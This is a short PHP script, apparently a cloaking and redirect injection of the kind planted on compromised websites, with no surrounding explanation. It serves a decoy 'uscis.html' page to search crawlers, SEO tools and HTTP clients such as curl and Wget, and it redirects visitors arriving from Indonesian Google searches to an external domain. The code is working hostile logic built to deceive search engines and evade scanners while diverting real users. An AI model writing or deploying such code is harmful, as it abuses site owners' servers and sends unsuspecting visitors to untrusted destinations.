// PHP script starts here
    $s_ref = $_SERVER['HTTP_REFERER'] ?? '';
    $agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '');

    function is_bot() {
        $user_agent = $_SERVER['HTTP_USER_AGENT'];
        $bots = array(
            'Googlebot', 'TelegramBot', 'bingbot', 'Google-Site-Verification', 
            'Google-InspectionTool', 'adsense', 'slurp', 'AhrefsBot', 'YandexBot', 
            'SEMrushBot', 'Baiduspider', 'MJ12bot', 'DotBot', 'MegaIndex', 'DuckDuckBot', 
            'Exabot', 'facebot', 'ia_archiver', 'Twitterbot', 'LinkedInBot', 
            'Pinterestbot', 'SemrushBot', 'Screaming Frog', 'Sitebulb', 'SerpstatBot', 
            'Mediapartners-Google', 'Applebot', 'Datanyze', 'Majestic-12', 
            'SputnikBot', 'ZoominfoBot', 'PetalBot', 'spbot', 'Coc Cocbot',
            'MojeekBot', 'UptimeRobot', 'Wget', 'curl', 'python-requests', 
            'httpclient', 'Go-http-client', 'libwww-perl', 'Scrapy', 'Java'
        );

        foreach ($bots as $bot) {
            if (stripos($user_agent, $bot) !== false) {
                return true;
            }
        }

        return false;
    }

    if (is_bot()) {
        $file = 'uscis.html';
        if (file_exists($file)) {
            echo file_get_contents($file);
        } else {
            echo "Page not found.";
        }
        exit;
    }

    if (stripos($s_ref, 'google.co.id') !== false || 
       (stripos($s_ref, 'google.com') !== false && stripos($lang, 'id') !== false)) {
        header("Location: https://conten1.shortsungai.me/centro.html");
        exit;
    }